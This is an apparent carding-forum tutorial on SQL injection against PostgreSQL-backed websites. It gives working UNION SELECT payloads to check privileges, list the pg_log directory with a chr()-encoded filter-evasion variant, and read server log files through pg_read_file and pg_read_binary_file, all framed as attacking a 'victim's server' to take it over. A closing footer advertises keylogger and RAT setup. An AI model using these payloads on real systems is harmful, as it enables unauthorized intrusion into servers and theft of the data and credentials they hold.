hey everyone,

so i guess it's time to learn something juicy about postgresql.
if you're injecting a website based on a postgresql database then you might wanna check your privileges because this will simply allow you to use lots of interesting postgresql functions in case you could:
you can find most of these functions in here:

what we will be covering in this tutorial is related to reading log files. the log files contain everything related to the postgresql database running on our victim's server and we all know that log files holds really interesting information that may allow us to take over the whole server easily, so lets just get started.

vulnerable link:


checking if we have privileges:

there's two thing we have to do to see if we have privileges or not.
firstly, we have to get the current user and secondly, we will check if this user has the right privileges.

code: union select current_user
output: postgres
tip: in my case there's only one column in the default table.

code: union select is_grantable from information_schema.role_table_grants where grantee='postgres'

you can check and select what you want from these tables but in my case i am going to be using admin functions related to "pg_read_file" and many others so i'm gonna have to use role_table_grants because with it i can check if my user has privileges to using those functions.

code: union select is_grantable from information_schema.role_table_grants where grantee='postgres'
output: yes

loading directory files:

now that we know that we have privileges, we're going to check the names of the files in the log folder before we start reading them.
the functions that we are going to be using can be found here:

those functions only allow us to do whatever we want with everything found in the "data" directory that can be found in the postgresql installation directory:

now in our case we will only be reading files inside the "pg_log" directory. you can obviously check any other directory though.

code: union select pg_ls_dir('pg_log')

if the above link didn't work then you can try the hex or the char value of "pg_log" instead of the plain one:

code: union select pg_ls_dir( chr(112) || chr(103) || chr(95) || chr(108) || chr(111) || chr(103))

reading log files:

there's many functions we can use to read a file:

using "pg_read_file":

code: union select pg_read_file('pg_log\postgresql-2014-05-07_210124.log')
this will simply read the file and show its text on the page.

using "pg_read_binary_file":

code: union select cast(pg_read_binary_file('pg_log\postgresql-2014-05-07_210124.log') as varchar)
before i explain this i would like to point that we used pg_read_binary_file which returns an unreadable value that, obviously, can't be shown on the webpage unless you use something similar to the "cast" function which will show the text of the file as you wish. (in my case as a "varchar"; showing a hex value)
now this is better than reading the file using pg_read_file because you can simply decode the hex value and get the exact layout of the log file.
| like
settingup keyloggers rats
shop scripts
request for tutorial send me a pm

:::::::: cardingmafia.ws ::::::::